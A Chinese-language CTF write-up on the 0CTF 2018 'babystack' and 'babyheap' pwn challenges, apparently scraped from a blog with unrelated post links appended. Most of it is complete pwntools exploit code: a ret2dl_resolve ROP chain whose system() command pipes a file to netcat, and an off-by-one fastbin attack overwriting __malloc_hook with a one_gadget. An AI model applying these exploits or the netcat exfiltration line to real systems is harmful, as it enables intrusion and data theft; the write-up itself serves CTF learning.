0ctf2018 pwn
前言
对 0ctf2018 的 pwn 做一个总结
正文
babystack
漏洞
非常直接的 栈溢出
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout
#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256
os.chdir(os.path.dirname(os.path.realpath(__file__)))
def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit()
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()
if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)
利用
无输出,使用 ret to dl_resolve .
#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256
context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process(fpath)
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
log.info("首先 rop 调用 read, 往 .bss 布置数据")
buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址")
#step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system")
p.interactive()
babyheap
漏洞
漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据
int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}
利用
- 利用
off-by-one来overlap chunk. 然后利用 分配unsorted bin的切割机制,拿到libc地址 - 再次
overlap chunk,构造0x40大小的fastbin,修改0x40大小的fastbin的第一个chunk的fd为0x61 - 分配一个
0x40的fastbin, 此时main_arean->fastbin中就会出现0x61, 用来fastbin攻击 - 再次
overlap chunk,构造0x60大小的fastbin, 修改0x60大小的fastbin的第一个chunk的fd为main_arean->fastbin。 fastbin attack分配到main_arean, 然后修改main_arean->top为__malloc_hook - 0x10, 然后分配内存,修改__malloc_hook为one_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
env = {"LD_PRELOAD": "./libc-2.24.so"}
# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)
def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content)
def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
code_base = 0x555555554000
gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9))
# gdb.attach(p, gdb_command)
# pause()
allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3
update(0,0x19, "a" * 0x18 + "\x91")
delete(1)
allocate(0x38) # 1
view(2)
p.recvuntil("]: ")
lib = ELF("./libc-2.24.so")
# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68
malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68
one_gad = libc + 0x3f35a
# bins = libc + 0x3c4b78
# bins = malloc_hook
log.info("libc: " + hex(libc))
allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9
delete(5)
delete(6)
delete(8)
update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6
# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8
allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause()
payload = p64(0x0)
payload += p64(0xc1)
update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause()
allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
delete(0)
# delete(1)
delete(2)
allocate(0x58) # 0
allocate(0x58) # 2
payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3
print hex(len(payload))
update(2, len(payload), payload)
delete(0)
allocate(0x28)
payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2
update(11,len(payload), payload)
allocate(0x28)
update(12, 8, p64(one_gad))
log.info("done")
# pause()
allocate(0x10)
p.interactive()
# x/30xg 0x429C0F050000
0ctf2018 pwn的更多相关文章
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- POJ 1221
#include <iostream> #define MAXN 500 using namespace std; unsigned dp[MAXN][MAXN]; int main() ...
- linux 中 iptables关于ping的问题
允许其他机器ping通防火墙 iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT iptables -A OUTPUT -p ic ...
- js实现双向链表, 双向链表需要增加一个previous属性
双向链表, 双向链表需要增加一个previous属性 /*双向链表 * */ function Node(element) { this.element = element; this.next = ...
- Class与Style绑定
本文主要介绍如何使用Vue来绑定操作元素的class列表和内联样式(style属性). 因为class和style都是属性,所以通过v-bind命令来处理它们:只需要通过表达式计算出结果即可,不过字符 ...
- Maven 学习笔记(三)
Maven生命周期 在上次我们使用maven package 对项目进行打包.这里就是为其指定一个生命周期.生命周期是包含在一个项目构建中的一系列有序的阶段.Maven有许多不同的生命周期,比如验证( ...
- 一条命令在Centos7中换163 yum源、安装python3并与python2共存、使用豆瓣pip源加速
打开一个Terminal: 换yum源: mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup & ...
- centos7 Mariadb5.5升级到Mariadb10.2
一次升级过程,在此记录下. 原因:新的项目需要新的数据库版本支持. 升级主要步骤: 备份原数据库 --->卸载mariadb --->添加mariadb国内yum源 --->安装ma ...
- 笔记三:python乱码深度剖析一
一:学习内容 python编码转换 python乱码原因深入解析 二:python编码转换 1. Python内部字符串一般都是Unicode编码,代码中字符串的默认编码与代码文件本身的编码是一致的. ...
- 数组操作方法中的splice()和concat() 以及slice()
1.splice()方法是修改Array的'全能方法',它可以从指定的索引开始删除若干元素,然后再从该位置添加若干元素,其中有三个参数(x,y,z) x:从索引x开始操作数组; y:0或不为0,当为0 ...
- cordova打包APK,SyntaxError: Block-scoped declarations (let, const, function, class) not yet supported outside strict mode ...
javascript 严格模式 第一次接触let关键字,有一个要非常非常要注意的概念就是”javascript 严格模式”,比如下述的代码运行就会报错: let hello = 'hello worl ...